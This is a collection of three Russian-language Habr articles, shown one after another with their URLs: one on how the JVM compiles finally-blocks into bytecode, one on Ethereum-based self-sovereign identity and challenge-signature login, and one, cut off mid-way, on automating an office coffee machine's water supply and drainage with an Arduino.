предположил, что их обработка реализована в JVM: это базовая часть языка, она должна быть встроенной, не так ли? Каково же было мое удивление, когда я узнал: нет, не так. На самом деле finally-блоки просто подставляются во все возможны места после try- или связанных с ним catch-блоков. Эти блоки оборачиваются в «catch(Throwable)», который повторно выбросит исключение после того, как finally-блок закончит работу. Осталось только подкрутить таблицу исключений, чтобы подставленные finally-блоки были пропущены. Ну как? (Небольшой нюанс: до версии JVM 1.6 для оператора finally, по всей видимости, использовались подпограммы вместо полной подстановки. Но сейчас мы говорим о версии 1.6, к которой все вышесказанное применимо.) Чтобы понять, имеет ли такой подход смысл, отмотаем немного назад и посмотрим, как JVM обрабатывает исключительные ситуации. Их обработка встроена в JVM в виде декларирования try/catch-блоков с помощью специального метода. Все, что от вас требуется, это сказать «между точкой A и точкой B любое исключение типа E должно быть обработано кодом в точке C». Вы можете иметь столько таких деклараций, сколько потребуется. Когда исключение будет передано в этот метод, JVM найдет соответствующий catch-блок в зависимости от его типа. #### Простой пример try/catch-блока Рассмотрим простой пример: ``` public void simpleTryCatch() { try { callSomeMethod(); } catch (RuntimeException e) { handleException(e); } } ``` Для него, в конечном итоге, вы получите байт-код, представленный ниже. (Я использую форматирование, которое предлагает ASM Eclipse — бесценный инструмент для изучения механизмов работы JVM. Мне кажется, что код в таком формате довольно легко читать. «L0» и т.п. — это метки кода.) ``` public simpleTryCatch()V TRYCATCHBLOCK L0 L1 L2 java/lang/RuntimeException L0 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callSomeMethod()V L1 GOTO L3 L2 ASTORE 1 ALOAD 0 ALOAD 1 INVOKEVIRTUAL test/SimpleTryCatch.handleException(Ljava/lang/RuntimeException;)V L3 RETURN ``` Итак, мы говорим оператору catch покрывать весь try-блок целиком (но не оператор GOTO в конце), а в случае RuntimeException передать управление в L2. Если оператор try завершен, нужно перепрыгнуть через оператор catch и продолжить выполнение. Если же вызван обработчик RuntimeException, исключение находится на вершине стека, и мы сохраняем его в локальную переменную. Затем мы загружаем указатель на «this» и исключение в таком порядке, чтобы вызвать метод handleException. После этого оставшийся код выполняется до конца. Однако если бы здесь был дополнительный catch-блок, мы бы его перепрыгнули. #### Пример try/catch/finally-блока Теперь добавим finally-блок и дополнительный оператор catch и посмотрим, что произойдет в байт-кодом. Возьмем следующий совершенно надуманный пример: ``` public void tryCatchFinally(boolean arg) { try { callSomeMethod(); if (arg) { return; } callSomeMethod(); } catch (RuntimeException e) { handleException(e); } catch (Exception e) { return; } finally { callFinallyMethod(); } } ``` В таком случае мы получим куда как менее понятный байт-код: ``` public tryCatchFinally(Z)V TRYCATCHBLOCK L0 L1 L2 java/lang/RuntimeException TRYCATCHBLOCK L3 L4 L2 java/lang/RuntimeException TRYCATCHBLOCK L0 L1 L5 java/lang/Exception TRYCATCHBLOCK L3 L4 L5 java/lang/Exception TRYCATCHBLOCK L0 L1 L6 TRYCATCHBLOCK L3 L7 L6 TRYCATCHBLOCK L5 L8 L6 L0 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callSomeMethod()V L9 ILOAD 1 IFEQ L3 L1 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callFinallyMethod()V L10 RETURN L3 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callSomeMethod()V L4 GOTO L11 L2 ASTORE 2 L12 ALOAD 0 ALOAD 2 INVOKEVIRTUAL test/SimpleTryCatch.handleException(Ljava/lang/RuntimeException;)V L7 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callFinallyMethod()V GOTO L13 L5 ASTORE 2 L8 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callFinallyMethod()V RETURN L6 ASTORE 3 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callFinallyMethod()V ALOAD 3 ATHROW L11 ALOAD 0 INVOKEVIRTUAL test/SimpleTryCatch.callFinallyMethod()V L13 RETURN ``` Итак, что же здесь происходит? (Обратите внимание, что метки пронумерованы в том порядке, в каком они созданы компилятором, а не в порядке их появления в коде.) В первую очередь вы заметите, что оба блока обработки исключений теперь разделены на два: с L0 до L1 и с L3 до L4. Это произошло по причине того, что между L1 и L3 из-за оператора return был вставлен finally-блок. По той причине, что исключения, брошенные из finally-блока, не должны быть обработаны catch-блоками, связанными с тем же оператором try, соответствующий диапазон был убран из таблицы исключений. Записи в таблице без типа исключения как раз относятся к finally-блоку. Они должны обрабатывать исключения любого типа, брошенные из оператора try или из catch-блоков, при этом они должны игнорировать любые подставленные finally-блоки. Таким образом finally-блоки не будут ловить исключения, брошенные такими же finally-блоками. Подобных записей получилось три, потому что в дополнение к finally, подставленному внутрь try-блока, блок «catch(Exception)» так же содержит оператор return. Так же вы можете удивиться увидев, что finally-блок встречается в коде 5 (пять) раз. Первый подставленный finally, соответствующий оператору return try-блока, встречается между L1 и L3. Второй finally-блок чуть более запутан: он подставлен в конец первого catch-блока, который затем прыгает через остальной finally код. (Лично я полагаю, что здесь нужно было сделать переход в конец вместо очередного встраивания.) Третий раз он появляется между L8 и L6 перед оператором return во втором catch-блоке. Четвертый раз finally-блок появляется в коде между L6 и L11, что соответствует случаю возникновения исключительной ситуации: нужно быть уверенными, что finally-блок выполнится в случае необработанного исключения, брошенного в try-блоке или любом catch-блоке. Обратите внимание, что исключение как ни в чем не бывало сохраняется, осуществляется вызов оператора finally, после чего исключение загружается и бросается снова. В последний finally-блок управление переходит из конца try-блока. Если бы у нас были вложенные блоки try/catch или try/finally, все было бы еще более странным. Оператор return внутреннего try-блока требует, чтобы перед ним были подставлены finally-блоки как внутреннего, так и внешнего try. Таблица исключений должна быть настроена таким образом, чтобы исключение, брошенное внутренним finally, было поймано внешними операторами catch и finally, а исключение, брошенное внешним finally, не было поймано ни кем. Сейчас вы, наверное, пытаетесь представить, какой набор состояний ваш компилятор вынужден таскать с собой, чтобы знать, что куда подставить и как заполнить таблицу исключений. Интересно было бы узнать, по крайней мере мне, как создатели JVM решились засунуть оператор finally в компилятор вместо того, чтобы встроить его в виртуальную машину. Очевидно, что выполнение этой работы компилятором позволяет значительно упростить виртуальную машину, однако делает жизнь немного сложнее для людей вроде нас, которые создают другой язык для JVM. #### Нестандартные примеры Понимание того, как реализован компилятор, помогает проще разбираться в некоторых нестандартных случаях. Например: ``` try { return "foo"; } finally { return "bar"; } ``` Результат будет «bar», потому что оператор finally будет подставлен перед оператором return, а значит return из finally-блока будет вызван первым, а return из try-блока вообще не будет вызван. ``` String value = "foo"; try { return value; } finally { value = "bar"; } ``` Результат будет «foo», потому что значение для оператора return будет положено в стек до того, как будет вызван оператор finally, после которого оно будет восстановлено и возвращено. (Мой пример это не показывает, но это именно то, что вы увидите, если посмотрите байт-код.) Таким образом, изменение значения «value» в блоке finally не имеет ни какого значения для оператора return. И напоследок, что-то вроде: ``` while(true) { try { return "foo"; } finally { break; } } return "bar"; ``` Результат будет «bar». Это было удивлением даже для меня, однако все логично, если вы знаете, что оператор break всего лишь GOTO в байт-коде. Т.е. когда finally-блок подставляется как часть внутреннего оператора return, оператор GOTO вызывается раньше, чем инструкция RETURN, что приводит к выходу из цикла. (То же самое для оператора continue внутри finally-блока.) #### Заключение С нашей стороны, мы решили запретить операторы return, break и continue внутри finally-блоков из-за неопределенной семантики, как это сделано в C#. (И я чувствую, что собралась хорошая компания из тех, кто принял такое решение.) Если кто-то нашел эту статью поучительной, я планирую написать несколько заметок по поводу других интересных вещей, с которыми мы столкнулись при генерации байт-кода. Они будут относиться как к JVM непосредственно, так и различным несоответствиям между нашим языком и Java, таким как замыкания, внешние функции и дженерики. #### Глоссарий подпрограмма = sub-routine оператор = statement подстановка = inlining исключение = exception внешняя функция = [enhancement](http://gosu-lang.org/docs.html#enhancements) = [extension function](http://confluence.jetbrains.com/display/Kotlin/Extension+functions) = [mixin](http://en.wikipedia.org/wiki/Mixin) #### Ссылки [1] [devblog.guidewire.com/author/akeefer](http://devblog.guidewire.com/author/akeefer/) [2] [www.guidewire.com](http://www.guidewire.com) [3] [gosu-lang.org](http://gosu-lang.org)
https://habr.com/ru/post/212759/
null
ru
null
# Self-Sovereign Identity + smart-contracts, дешево и сердито Смарт-контракты и идентификация пользователей --------------------------------------------- Простота и доступность этого паттерна позволяет использовать для авторизации пользователей почти любой блокчейн, даже самый простой, так как абсолютно любой блокчейн использует приватные и публичные ключи для идентификации своих пользователей. Но при использовании полноценных смарт-контрактов, эта схема может быть доработана до любого уровня сложности и иметь любые административные функции, присущие централизованным identity системам. Поэтому в статье я буду описывать Ethereum, как наиболее развитый блокчейн с поддержкой смарт-контрактов и всеми важными механизмами обеспечения безопасности сети, так как с ним сравнивают все новые решения, а алгоритмы, используемые в этой сети давно отвечают за миллиарды долларов криптоактивов пользователей и давно доказали свою состоятельность. Поехали... ### Идентификация пользователей В любых децентрализованных сетях идентифицировать пользователя или сетевой узел можно с помощью электронной подписи. Пользователь или узел (будем называть их просто “участниками”) создает ключевую пару - секретный и публичный ключи, а затем информация, созданная на основе публичного ключа, позволяет  в дальнейшем идентифицировать участника. Например, в блокчейнах Ethereum адрес (можете называть его “аккаунтом”) - это 160bit от хеша публичного ключа, т.е. чтобы создать свой адрес в Ethereum нужно: 1. создать *private\_key/public\_key* keypair для использования со схемой [ECDSA](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm) (в Ethereum сейчас используется эллиптическая кривая secp256k1) 2. взять последние 160 бит от хеша публичного ключа, SHA-3(pubkey) (в Etheruem используется функция хеширования Keccak-256 3. полученное значение - адрес в сети Ethereum выглядит примерно так: *0xDC25EF3F5B8A186998338A2ADA83795FBA2D695E* Каждый раз, владельцу адреса нужно подтвердить его право владения этим адресом - он подписывает данные с помощью своего секретного ключа. Например, любая криптовалютная транзакция с какого-то адреса включает в себя публичный ключ и электронную подпись, которые доказывают, что эту транзакцию мог создать только тот, кто имеет доступ к секретному ключу, от которого “наследуется” публичный ключ, от которого “наследуется” адрес. Этот способ “подтвердить владение информацией, наследуемой от секретного ключа” крайне распространен. Например - выдача и проверка сертификатов HTTPS - это та же самая схема, сертификат HTTPS - это подписанный хеш публичного ключа с дополнительными данными (именем домена, датой истечения). Также, близкой процедурой является работа с “квалифицированной ЭЦП”, в которой контролирующий орган регистрирует публичный ключ организации вместе с информацией о ее названии, ИНН и т.п., а организация, отправляющая отчетность в электронном виде в дальнейшем подписывает ее с помощью своего секретного ключа.  ### Блокчейн, как identity-система Учитывая вышеописанное, публичный блокчейн, который для пользователя может быть представлен как облачный сервис, хранящий адреса и сопутствующую им информацию, является прекрасным образцом системы, которая может хранить информацию, идентифицирующую пользователей.  Аутентификация всех пользователей в этой схеме проводится по приватному ключу, а публичные ключи (точнее их хеши) - хранятся “в блокчейне”. Схема эта привлекательна тем, что именно хеши публичных ключей являются “истинными” адресами в блокчейне и абсолютно любое действие в блокчейне, любая валидная транзакция является доказательством владения определенным адресом (определенным публичным ключом).  При этом все важные свойства блокчейнов, такие как устойчивость к атакам, невозможность ограничения доступа, полное отсутствие секретной информации делают его идеально подходящим видом систем для хранения информации, необходимой для идентификации пользователей. Блокчейн доступен отовсюду, получить доказательство существования адреса и любые подтверждения его валидности можно с любой блокчейн-ноды, в любой точке мира, заблокировать все блокчейн-ноды в мире не представляется возможным, а изменение информации о ключах невозможно провести незаметно, оно публично проверяемо. Поэтому любые алгоритмы, требующие “доказательства владения адресом” отлично ложатся на смарт-контракты, а адрес становится уникальным иентификатором (uid) пользователя, не требующим хранения хешей паролей и иных видов shared secrets. Также, доступность и проверяемость такой “базы uid” позволяет сервису обойтись без backup-ов security информации, и в случае сбоев легко перестроить базу аккаунтов.  Для публичных блокчейнов сервер, отдающий проверяемую информацию можно запустить где угодно без всяких регистраций, без необходимости иметь криптовалюту - она просто будет получать обновления от других нод по p2p сети. Чтобы продемонстрировать удобство этой схемы опишем один из вариантов построения авторизации на сайте с использованием публичной блокчейн-сети Ethereum. Эта схема широко используется и требует от пользователя простейших действий в один клик, схожих с “login with Google”, но без отправки каких либо данных куда либо кроме сайта. #### Регистрация Регистрация в этой системе - это помещение в блокчейн информации, связывающей публичный адрес в блокчейне с идентификатором и любыми доп. данными. Если совсем просто, то “в блокчейне” создается запись в key-value БД, где: ``` key: адрес пользоватея (f.e. 0x13668Ecf257cC15c381b461B9fEDaB5D451c8F7F) value: {login: “vasya”, age: 18, … } ``` В самом минимальном варианте достаточно просто наличия адреса в контракте. Вот пример кода такого мини-контракта, который "регистрирует" любого обратившегося: ``` contract Users { mapping (address => bool) users; // storage of user addresses   event UserRegistered(address indexed user); // event, fired each time user is registered   constructor() {  register(); // register creator of contract as first user   }   function register() public {   users[msg.sender] = true;      emit UserRegistered(msg.sender);   } } ``` Теперь, у любой ноды блокчейна можно получить эту информацию, запросив у смарт-контракта, хранящего адреса зарегистрированных пользователей данные по ключу (f.e. 0x13668Ecf257cC15c381b461B9fEDaB5D451c8F7F). Внутри данных, привязанных к адресу пользователя можно предусмотреть любую внешнюю логику - подтверждение KYC со специального адреса, принадлежащего внешнему KYC-провайдеру, указание nickname, под которым пользователь будет работать на сайте и т.п. Хранить в БЧ много данных дорого и бессмыссленно, обычно экономится каждый байт, поэтому в этом месте имеет смысл хранить только необходимый минимум. В нашем варианте это просто bool, но обычно используют struct с нужными onchain данными, например bitmask роли пользователя. Чтобы зарегистрировать адрес в смарт-контракте, пользователь самостоятельно вызывает фукнцию register() со своего адреса. Именно здесь кроется главная проблема таких систем на текущий момент - чтобы зарегистрироваться, пользователю придется оплатить транзакцию в нативной криптовалюте Ethereum - ETH, и, хотя здесь немного данных и комиссия невелика, она все равно ненулевая. Поэтому onboarding пользователей в блокчейн проектах - это отдельная боль.Но, есть и хорошее - во-первых, пользователя не удастся взломать, получив доступ к сайту - в блокчейнах каждый сам отвечает за свою безопасность. Во-вторых - регистрационные действия происходят крайне редко, и один раз заплатив, пользователь может пользоваться этой учетной записью сколько хочет, информация о ней не пропадет и отвечает за нее он сам, а не ваш проект. Это и есть Self-Sovereign Identity.   P.S. вообще, в мире блокчейна не принято считать пользователя пользователем, пока он не сделал хотя бы одно значимое действие, поэтому можно вообще не использовать контракт, а просто проверить в блокчейне, есть ли у этого адреса на балансе нужная криптовалюта ( например, токен вашего проекта) #### Авторизация Для прохождения авторизации на сайте: * пользователь предъявляет свой адрес, под которым хочет авторизоваться * сайт убеждается в блокчейне, что этот адрес “зарегистрирован” * сайт предлагает пользователю подписать одноразовую строку (challenge) * пользователь подписывает challenge, предоставляя сайту ЭЦП * сайт проверяет подпись, и, если она верна - выдает пользователю обычный авторизационный JWT токен Пользователи, использующие Ethereum в обязательном порядке используют ПО, которое подписывает транзакции, поэтому, если пользователь регистрировался ранее, или пользовался Ethereum в браузере, то он умеет подписывать данные своим секретным ключом. Например, при помощи расширения браузера Metamask это можно делать в один клик, одним и тем же способом отправляя криптовалюту, и точно так же подписывая challenge. При вызове функций JS библиотеки web3, которые предлагают подписать challenge, у пользователя всплывает уведомление расширения Metamask, предлагающее подписать строку. Выглядит в браузере это примерно так: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/dc3/238/117/dc3238117fb3ee46e199392667f044f8.png)Строка, которую нужно подписать предоставляется бэкендом, который временно запоминает ее, чтобы исключить replay атаки, если атакующий перехватит подписанное сообщение и попробует его перепослать. Далее, challenge вместе с подписью отправляется на backend, который, проверив подпись удаляет одноразовый challenge из своей базы(исключая replay) и выдает пользователю авторизационный JWT токен. Дальше все работает как обычно в web. Примерный кусок кода, реализующий такую схему в Django приведен ниже (это обычный view, использующий POST запрос): ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6fb/5a1/6a4/6fb5a16a4fab50e5631396fe417ad872.png)Код крайне простой, и, что важно, в базе проекта нет никакой security critical информации, кроме временных challenge - никаких хешированных и соленых паролей. Даже в случае утечки SQL базы c backend нет угрозы атаки на identity пользователей. Если угонят аккаунт - то у самого пользователя, а не через ваш сайт. Такую аутентификацию можно проводить используя совершенно разные блокчейны, контракты, разные типы подписей, с помощью разного ПО, выполняющего подпись (хотя софт удобней и защищенней криптовалютных кошельков вам придется поискать). #### Нужен ли блокчейн? Внимательный читатель в схеме выше заметил, что в этой схеме, собственно блокчейн-то и не нужен, достаточно возможности подписать приватным ключом данные на стороне клиента. Это действительно так - и авторизация по приватному ключу сейчас активно развивается, пруф тут: <https://www.w3.org/TR/webauthn-2/>, так что скоро мы увидим эти схемы в наших браузерах без всяких блокчейнов. Эта схема крайне удобна тем, что сервису теперь не нужно отвечать за учетные записи пользователей, реализовывать схемы восстановления паролей, ведь каждый из этих механизмов несет в себе риски безопасности. Гораздо проще позволить пользователям самим заботиться о безопасности своих ключей - те, кто хотят мощной защиты заведут аппаратные ключи, внешние signer-ы (типа Parity Signer), будут хранить seed phrase в правильных менеджерах паролей, использовать схемы разделения секрета. Для тех, кто хранит пароли в текстовом файле на рабочем столе, правда, ничего не изменится. Помяните мое слово - фразу "Sign Up" и "Забыл пароль" лет через пять вы увидите лишь на бородатых сайтах, тоскующих по Web 2.0. #### Если всё таки нужен блокчейн Но, вернемся к блокчейнам. Публичный блокчейн и смарт-контракты для данной схемы - это крайне удобное неубиваемое облако для security-critical информации и реализации более сложных схем. Например, вашему сервису требуется, чтобы identity пользователя подтвердил какой-нибудь внешний KYC-провайдер, или в сети был бы всегда доступный master public key для распространения обновлений софта (актуально для IoT). В этом случае смарт-контракт несложно дополняется административными аккаунтами с различными ролями, которые могут устанавливать адресам пользователей различные признаки, типа “прошёл KYC”, “вакцинирован от COVID”. Эти действия в правильных системах защищены мультиподписями, чтобы взлом одного из аккаунтов был бы недостаточен для атаки на систему. А использование смарт-контрактов означает, что доступ к такому “API” возможен откуда угодно без всяких авторизаций и лишних действий - вся защита обеспечивается за счет все той авторизации по приватному ключу. Identity-cистема на базе смарт-контрактов не требует почти никакой работы по обеспечению безопасности хранения данных, защита инфраструктуры в ней тривиальна, и с архитектурной точки зрения системы на базе смарт-контрактов не сложнее традиционных, а намного проще, а значит, надежней. Такой функционал, разумеется, не бесплатен, и, реализуя такую систему необходимо всегда помнить про то, что в правильных блокчейнах не бывает бесплатных транзакций, а значит, любые важные административные действия в identity системе будут платными. Также, специфика кода смарт-контрактов исключает наличие в них функций, работающих сразу с большим числом сущностей, все функции должны отрабатывать за O(1) по про процессору, памяти, storage, объем хранимых данных - минимален, любые циклы должны быть ограничены сверху. #### Синхронизация с блокчейном Вышеупомянутые моменты сильно затрудняют решение задач типа “показать список пользователей, которые ожидают подтверждения identity” или “вывести все аккаунты с nickname, начинающимся со строки vasya...”. Поэтому любые, более менее сложные блокчейн-проекты, обязательно имеют backend, задачей которого является хранение и отображение данных, получить которые из напрямую из блокчейн-ноды нельзя. Это могут быть поисковые индексы по сущностям в блокчейне, какие-то большие offchain данные, которые сами не хранятся в блокчейне, а в контрактах представлены лишь их криптографические хеши, различные агрегированные данные. Для организации такого backend-а и его синхронизации с блокчейном разумно использовать отдельный сервис синхронизации, который умеет накатывтаь обновления данных из блокчейна на свою SQL базу, параллельно проводя агрегацию и строя необходимые индексы. Такой сервис обычно использует subscription модель, подписываясь на события интересующих его контрактов. Каждый раз, когда в хранилище контракта происходит обновление (появляется новый зарегистрированный адрес, изменяются данные некоторого аккаунта) сервис видит эти изменения и изменяет свою БД в соответствии с ними. В Ethereum, Substrate и многих других блокчейнах важной частью контрактов являются Events (event UserRegistered в примере приведенном выше). Очень часто нет необходимости постоянно держать на ноде информацию о произошедших событиях, ведь ее всегда можно “перепроиграть”, просматривая блоки один за другим, и наполнить базу на backend-е информацией из событий, экономя память и ресурсы ноды и не платя за занимаемое место в state database. В вышеприведенном примере сервису синхронизации достаточно подписаться на события контракта, и, каждый раз, когда встретится событие UserRegistered обновить список адресов пользователей в сервисе. События надежно с точностью до бита фиксируются в блокчейне и не могут быть изменены позже, поэтому им можно доверять. Также, генерация события стоит в разы дешевле, чем запись значений в state database, и, технически, вышеприведенный пример можно было бы сделать вообще без хранилища, просто фиксируя каждую регистрацию с помощью событий. Апофеозом упрощения "регистрации в блокчейне" можно считать просто отправку регистрирующимся любой суммы на адрес проекта, сам факт такой транзакции вполне можно считать регистрацией, если никакие другие метаданные не нужны, то перевод нативной криптовалюты - это самая дешевая из операций в любом блокчейне, информация о которой никогда не будет удалена. Крайне важным фактором для определения того, какие события считать зафиксированными в блокчейне является финализация блоков. Для Ethereum 1.0, работающего на базе консенсуса proof-of-work, “надежными” событиями считаются те, которые произошли несколько блоков назад, т.е. имеют очень низкую вероятность того, что цепочка будет заменена на другую, более сложную, и “победит” другая история транзакций. Т.е. здесь "финальность" - условная, вероятностная, хотя и довольно надежная. В сетях с другими консенсусами следует крайне внимательно относиться к тому, что для данной сети является признаком финальности транзакции. В блокчейнах с консенсусами proof-of-stake и proof-of-authority атаки типа “double spend” могут быть проведены без использования огромных мощностей, или, перестроение цепочки может быть вызвано разделением сети. В большинстве современных блокчейнов, использующих proof-of-stake и proof-of-authority используется детерминированная финальность, которая позволяет со 100% вероятностью утверждать, что финализированный блок никогда не будет откачен. Это очень удобно для сервиса синхронизации, и, пускай финализация обычно немного отстает от производства блоков (блок производит один компьютер, а финализируют его - несколько), зато, получив финализированный блок можно быть уверенным в том, что он не будет откачен (только в случае крайне серьезных сбоев в логике работы блокчейн-нод). Увы, я не могу кратко написать этот абзац, это тема отдельных статей и докладов, просто запомните - если у вас в сети не proof-of-work (нет майнинга) и блок не финализирован, значит информация еще "не в блокчейне", хотя уже включена в блок а сам блок опубликован в сети. #### Заметки на полях По моему скромному мнению, identity протоколы в связке с публичными блокчейнами в итоге повлияют на IT-инфраструктуру сильнее чем криптовалюты. Перенос security critical операций в блокчейн и управление публичными ключами имеют огромное значение. Эти операции мы видим в электронном документообороте, в доступе IoT устройств к облакам производителей, в выдаче verified credentials, вообще в любой области, где существуют цифровое право владения некой информацией. Публичные блокчейны позволяют избавиться от необходимости поддерживать различные виды API, контролировать доступ к серверам, убирая необходимость решать эти проблемы, точно так же как электромобили избавлены от проблем с зажиганием, подачей топлива и воздуха - их дизайн избавлен от этих инженерных проблем. Хранение identity в смарт-контрактах - это крайне простой и надежный способ организации Public Key Infrastructure для проектов, именно поэтому я решил написать статью именно об этом несложном паттерне. В следующих статьях мы поговорим о других широко используемых алгоритмах в смарт-контрактах.
https://habr.com/ru/post/564856/
null
ru
null
# Ардуированная кофемашина ![image](https://habrastorage.org/r/w1560/webt/jk/qe/2e/jkqe2eh3rhabr8cgpsncdvaych8.png) Я люблю делать простые как топор вещи, но одновременно жутко полезные, например, как прошлая статья 9 летней давности — [Установка Ubuntu Linux с винчестера. Скрипт](https://habrahabr.ru/post/67192/), вот и сейчас настал час для такой деятельности. Под катом вы найдете подробнейшую инструкцию как на основе Arduino и дешевых и доступных средств автоматизировать подачу чистой свежей воды в кофемашину, а также организовать отвод жидкости из поддона кофемашины, на которой не предусмотрено подключение к внешним коммуникациям. Предыстория и мотивация ======================== История такова, что в маленькой, но очень гордой фирме по производству «громадных квадрокоптеров» SKYF купили кофемашину, ближайшие водопроводные и канализационные коммуникации были в метрах 100 от нее. В процессе эксплуатации оказалось, что коллектив из 30 человек заполнял поддон для капель за ~10 кружек кофе, а потом нужно было идти через три двери до ближайшего санузла, балансируя с **заполненным** водой поддоном, как на [Сабантуе](https://ru.wikipedia.org/wiki/%D0%A1%D0%B0%D0%B1%D0%B0%D0%BD%D1%82%D1%83%D0%B9) с яйцом в ложке, дабы не пролить, ни капли на коверистый пол, ни, тем более, на штаны. Куда меньшую проблему доставляло наполнение резервуара чистой воды, т.к. диспенсер был в полуметре от кофемашины и нужно было лишь 1-2 минуты постоять в руках с пластиковым резервуаром для чистой воды. Но я твердо решил, что «хватит это терпеть» (с) и вооружившись завалявшейся у меня платкой Arduino Uno, решил автоматизировать процесс наполнения бачка и слива отработанной жидкости. Предварительно изучил вопрос рентабельности сей идеи автоматизации, оказалось что различие в цене приобретенной кофемашины и кофемашины с возможностью подключения к канализации составляет 2 раза минимум! Приведу пример кофемашин в ценах на начало 2018 года: — Купленная кофемашина ~60 000 рублей; — Затраты на дополнение функции подключения к «внешним коммуникациям» ~ 3000 руб; — Кофемашина с возможностью подключения к водопроводу и канализации — ~от 110 000 до ∞ руб. Цены просто небо и земля. Определенно есть смысл автоматизировать купленную кофемашину. Основной раздел =============== **Цели:** — увеличить интервал слива жидкости с поддона с раз в 1 час на раз в сутки минимум; — реализовать удобный способ транспортировки отработанной жидкости до канализационных коммуникаций; — забыть что такое снимать емкость чистой воды и стоять 1-2 минуты около диспенсера для заполнения емкости. **Способы решения задачи:** — сделать человекоподобного робота или нанять роботоподобного человека, который занимался этими проблемами вручную; — сделать автоматическую систему, которая сократит частоту ручного труда пользователей кофемашины. Очевидно, что первый способ очень долг и интересен, оставлю это на будущее. На досуге можно сделать робота, доставляющий приготовленный кофе от кофемашины работнику и, который занимался бы автоматизацией оставшегося ручного труда. Второй способ с секретаршей скучен, банален, так поступали испокон веков, это не наш метод. Выбираем третий способ, он оптимален по соотношению трудоемкость/цена. Решаем поставленные цели в соответствии с выбранным способом. Наш пациент выглядит таким образом: ![image](https://buyoncdn.ru/product/2843348179/product_5000/1310820/bosch-veroselection-300-front--nerzhaveyushtaya-stal-korpus---glyantsevyy-chernyy.jpg) Слева у кофемашины съемный бачок для чистой воды, в нижней части выдвижной поддон для **капель** объемом ~400 мл. Задача решается организационно и с помощью элементов системы автоматического управления: 1) берем две бутылки 19 литров, которые всегда под рукой в офисе, одна будет для чистой воды, другая для отработанной; 2) в случае снижения уровня в бачке кофемашины до минимума подаем из бутыли чистой воды при помощи насоса воду до отметки максимум; 3) соединяем ПВХ трубкой поддон с внешним резервуаром и контроллируем уровень в нем, саму бутыль, дабы не портить аппетит цветом стоков, закрываем чехлом, которые предлагают многие службы доставки воды. Например, вот такой чехол: ![image](http://vodanadivane.ru/images/product_images/popup_images/677_0.jpg) Если у вас очень близко водопровод и канализация, но в кофемашине не предусмотрена возможность подключения к водопроводу и канализации, то эта статья тоже вам подойдет. Вместо насоса у вас будет соленоидный клапан, которым тоже можно управлять с помощью 12 Вольт, клапан соединяется, например, с фильтром воды (который обычно идет с краном чистой воды). А насчет слива — трубку в канализацию, датчик контроля уровня в резервуаре слива надо будет убрать из программы ниже. **Выбираем средства автоматизации** Берем **Arduino Uno** и начинаем автоматизировать. Нам потребуется: — Датчик уровня воды в резервуаре кофемашины; — Насос подачи воды из бутыли в резервуар; — Датчик уровня воды в резервуаре стоков. Логика проста: ЕСЛИ уровень в резервуаре кофемашины ниже минимума -> включить насос; ЕСЛИ уровень в резервуаре кофемашины выше максимума -> остановить насос; ЕСЛИ уровень в резервуаре стоков выше максимума — вопить. Казалось бы логика проста, но при реализации оказалось что не все так просто, все подробности в разделе программирования. **Выбираем насос** Требования к **насосу**: 1) должен проходить в горлышко обычной офисной бутылки воды 19 литров, диаметр горлышка 53 мм; 2) должен иметь напряжение питания не более 12 Вольт, дабы согласовать с питанием Arduino и не иметь опасности поражения электрическим током; 3) желательно должен быть погружным в бутыль, чтобы не захламлять пространство вокруг кофемашины и не попадаться на глаза; 4) должен иметь возможность создать давление для подъема воды на 1.5 метра. Этим критериям удовлетворили следующие насосы: — погружной насос AMP-X157 от «Амперка» на 5-12 Вольт; ![image](https://static12.insales.ru/images/products/1/2003/11626451/large_M-PUMP.jpg) — погружной насос BI0002156 от китайцев на 6-15 Вольт. ![image](https://ae01.alicdn.com/kf/HTB1NckLSpXXXXcPXpXXq6xXFXXXH/1pc-JT-500-Submersible-Pump-Immersible-Pump-DC-12V-600L-H-5M-For-Water-Aquarium-Bath.jpg_640x640.jpg) Сначала выбрал первый вариант, просто потому что он продавался в моем городе, некогда ждать месяц китайцев, кофе без забот хочется пить прямо здесь и сейчас. Но при эксплуатации выяснилось из-за выступающего штуцера не пролезает через горлышко в **другую** бутылку. Потом купил китайский насос, он подошел идеально. Характеристики китайского насоса (полужирным шрифтом выделены важные для нас параметры): Рабочее напряжение **6-15** В Номинальный ток: 1.2A Максимальный расход: 600л/ч Размеры: прибл. 10.8 х **4** см (В х Ш) Идеально. Берем. На этот насос в ближайшем строительном магазине прикупил прозрачную ПВХ трубку с внутренним диаметром 12. На первый насос, которая «амперка» шла трубка диаметром 8 и 10 см (внутренний, внешний) длиной 1 м из нее был сделан слив, так что придется купить 2 трубки, кто хочет просто пройтись по инструкции. **Выбираем датчики уровня** Требования к датчику уровня: 1) должен давать информацию о низком и высоком уровне в бачке воды; 2) по возможности не должен требовать вмешательства в конструкцию бачка; 3) должен быть компактным; 4) должен быть эстетичным и не выделяться; 5) должен запитываться безопасным и совместимым с ардуино питанием 5-12 Вольт; 6) должен быть доступным в городе (мое требование здесь и сейчас); 7) должен работать с пресной водой; Что предлагает нам рынок: 1) Датчик уровня специально для ардуино ![image](http://coolcode.ru/wp-content/uploads/2016/04/ArduinoWhaterSensor.jpg) Удовлетворяет пунктам: 2, 3, 5, 6. Не удовлетворяет пунктам: 1, 4. По мне он слишком выделяется и не эстетичный, к тому же его длина не позволит измерять всю высоту уровня (высота бачка около 22 см, данный датчик 6.2 см) 2) Поплавковый уровень ![image](http://iarduino.ru/img/catalog/d1.png) Удовлетворяет пунктам: 1 (два датчика), 3, 5, 6. Не удовлетворяет пунктам: 2, 4. Нужно сверлить бак, выделяется, но его приметим, он нам еще пригодится. Также есть в виде штанги, тоже не подходят — сложно подобрать нужного размера 3) Инфракрасный датчик уровня (оптопара) ![image](https://ae01.alicdn.com/kf/HTB1oThCNVXXXXchXpXXq6xXFXXXk/1-15ma-5.jpg) Удовлетворяет пунктам: 1 (два датчика), 3, 4, 5, 6. Не удовлетворяет пунктам: 2. Нужно сверлить бак. 4) Ультразвуковой датчик расстояния 